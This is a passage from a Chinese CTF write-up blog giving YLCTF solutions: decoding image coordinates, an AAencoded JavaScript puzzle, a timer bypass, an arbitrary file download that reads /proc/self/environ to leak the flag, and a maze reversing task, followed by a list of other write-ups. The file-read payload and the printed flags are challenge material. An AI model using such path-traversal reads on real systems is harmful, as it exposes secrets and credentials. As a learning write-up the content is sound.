with open(‘output.png’, ‘wb’) as output_file:

output_file.write(byte_data)

打开提取出的图片文件

这一步有点抽象把每个点的坐标按顺序提取出来只能说很费眼睛一共38个点

点坐标

(52,50),

(83,115),

(102,120),

(82,68),

(121,86),

(76,122),

(106,77),

(112,84),

(69,106),

(74,99),

(102,105),

(106,84),

(105,107),

(119,120),

(78,71),

(101,106),

(71,120),

(66,112),

(119,57),

(87,49),

(49,82),

(115,66),

(55,71),

(113,65),

(114,89),

(116,77),

(111,103),

(68,84),

(88,89),

(100,76),

(72,56),

(107,90),

(109,102),

(85,101),

(104,51),

(85,109),

(81,89)

然后将点的坐标作为ASCII码转换为字符根据hint1，格式为 x1x2x3..xnyn….y3y2y1

coordinates = [

#坐标集合 太长了就没在代码里放了

]

# 获取字符

result = ""

for x, y in coordinates:

    result += chr(x)

for x, y in reversed(coordinates):

    result += chr(y)

print(result)

4SfRyLjpEJfjiwNeGBwW1s7qrtoDXdHkmUhUQYm3efZ8LYTgMYAGBR19pxjGxkTicjTMzVDxs2

根据hint2 进行13位栅栏解密

4jiwrHQZM1GcVSpwWtkY8Y9xjDfEN1ommLApkTxRJesDU3YGxTMsyfG7XheTBjiz2LjBqdUfgR

使用CyberChef进行剩余的解密

得到flag->YLCTF{a3a9cb97-0aca-485a-a35e-c32dca7c1fa8}

Crypto

QWQ

ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻   //*´∇｀*/ ['_']; o=(ﾟｰﾟ)  =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (o^_^o)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (o^_^o)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (o^_^o))+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_');

一眼顶真鉴定为AAencode编码

解码

LFGEGVCGPNUEA5RTL5DHK3S7O4YXI2C7ORUGSNK7M5QW2M27KFLVC7I=

Base32字符串再解码一次即可 -> YLCTF{h@v3_Fun_w1th_thi5_gam3_QWQ}

Web

404

进入f12g.php 发现跳转到了404页面

bp抓包看看

Server-Timing有一段b64字符串

解码->去ca.php做个数学题吧

查看源代码发现是js控制的时间限制直接禁用js 执行一下php代码算完了以后允许js提交就行了

Pread

添加笔记导出笔记导入笔记都试了试

使用bp抓包发现导出笔记时可能存在任意文件下载漏洞

尝试一下读取系统变量 ?filename=/proc/self/environ

KUBERNETES_SERVICE_PORT_HTTPS=443.KUBERNETES_SERVICE_PORT=443.HOSTNAME=web-01javzxwden32j0v34efnz4982.PYTHON_VERSION=3.8.19.PWD=/.PYTHON_SETUPTOOLS_VERSION=57.5.0.HOME=/root.LANG=C.UTF-8.KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443.GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568.SHLVL=0.KUBERNETES_PORT_443_TCP_PROTO=tcp.PYTHON_PIP_VERSION=23.0.1.KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1.WEB_CONCURRENCY=1.PYTHON_GET_PIP_SHA256=bc37786ec99618416cc0a0ca32833da447f4d91ab51d2c138dd15b7af21e8e9a.GZCTF_TEAM_ID=418.KUBERNETES_SERVICE_HOST=10.43.0.1.GZCTF_FLAG=YLCTF{6272a2d6-b784-41bc-822a-dccaede623cb}.KUBERNETES_PORT=tcp://10.43.0.1:443.KUBERNETES_PORT_443_TCP_PORT=443.PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/def4aec84b261b939137dd1c69eff0aabb4a7bf4/public/get-pip.py.PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin._=/usr/bin/nohup

GZCTF_FLAG=YLCTF{6272a2d6-b784-41bc-822a-dccaede623cb}

Rev

[Round 3] ezmaze

下载附件

拖入IDA反编译

int __fastcall main(int argc, const char **argv, const char **envp)
{
    char action[55]; // [rsp+20h] [rbp-60h] BYREF
    char singleAction; // [rsp+57h] [rbp-29h]
    char *maze; // [rsp+58h] [rbp-28h]
    int detailAction; // [rsp+64h] [rbp-1Ch]
    int step; // [rsp+68h] [rbp-18h]
    int place; // [rsp+6Ch] [rbp-14h]

    _main(argc, argv, envp);
    maze = "*****++*********+******+*++******+++*****F*+*******+*+++*****+***++****+***+*****+***+*+***+++++++************";
    place = 5;
    gets(action);
    step = 0;
    detailAction = 0;
    while ( step < strlen(action) )
    {
        singleAction = action[step++];
        if ( singleAction == 100 )
        {
            detailAction = 1;
        }
        else if ( singleAction > 100 )
        {
            if ( singleAction == 115 )
            {
                detailAction = 10;
            }
            else if ( singleAction == 119 )
            {
                detailAction = -10;
            }
        }
        else if ( singleAction == 97 )
        {
            detailAction = -1;
        }
        if ( maze[detailAction + (__int64)place] != 43 && maze[detailAction + (__int64)place] != 70 )
        {
            printf("ooooh , Not feasible ahead!");
            return 0;
        }
        while ( maze[detailAction + (__int64)place] == 43 || maze[detailAction + (__int64)place] == 70 )
            place += detailAction;
    }
    if ( maze[place] == 70 )
        printf("you get the flag! flag is : YLCTF{md5(%s)}", action);
    else
        printf("come on!");
    return 0;
}

阅读代码发现是迷宫 w左移10行 s右移十行其实可以转换成二维的

另外

所以操作一次后只有当下一步会到达*时才会停止操作否则会重复当前操作

可知路径如下：dsasasdsaw

md5 -> efac19a75e413ad6680adec92504b654

Flag -> YLCTF{efac19a75e413ad6680adec92504b654}

Interests

Mon, 01 Jan 0001 00:00:00 +0000

Links

Mon, 01 Jan 0001 00:00:00 +0000

Timeline

Mon, 01 Jan 0001 00:00:00 +0000

Home on Mnzn's Blog

碎碎念

用 Claude 大人开发博客主题小记

Intro

一些小问题

没啥了

About

Hello

Contact

Stack

Sponsors

SUCTF2026-CyberTrack 出题人 WP

前言

题面

Site：

题目描述

Flag 规则

Flag示例

题解

结语

来自 🥬🐔 Misc 入门选手的 2025 年终走马灯

所以来碎碎念吧

✨ 2025 年 度 答 辩 ✨

HKCERT 2025 - MISC Writeup

HKCERT - 2025 - Misc

Little Wish

Step1

Step2

Step3

easyJail

busbus

Deleted

Q1) What is the computer username? e.g: bob

Q2) What is the device name? e.g: desktop-1d76lc4

Q3) What is the last time the device was shut down? Please provide your answer in UTC+8 timezone. e.g: e4d8b17ba7bdea5df12552034245edd7

Q4) What is the code word for the rendezvous planned by the suspect? e.g: c2443fd7e6e158b9497c3fde067af076

Q5 What instant messaging software did the suspect once use? e.g: line

Q6 社交软件密码

Q7 主密钥

Easy_Base

Suspicious File

Step1

Step2

某某校园 App 协议与逆向分析

前言 — 一言难尽

流程

抓包

开逆

签名/加解密流程

获取密钥

复现算法（Python）

接口

“阳光跑”接口

querySchoolFences

checkSunRunConfig

querySunRunAbstractInfoV2

uploadRunRecord

finishSunRun

PatriotCTF 2025 Misc & OSINT & Forensics -- writeup

Misc

Reverse Metadata Part 1

Reverse Metadata Part 2

Half-Eaten Metapixels

Mysterious XOR

Forensics

Word Sea Adventures

We Go Gym

Burger King

OSINT

Where’s Legally

Waldo’s Nignt Out

Kittiez!!!

RCTF2025-Misc Writeup

SignIn

Speak Softly Love

Challenge 1: Video ID

Challenge 2: Code Revision

Challenge 3: Name-pronunciation URL

Challenge 4: Donation address

Wanna Feel Love

✨ 2025 年度答辩 ✨

SSTI 时间/报错盲注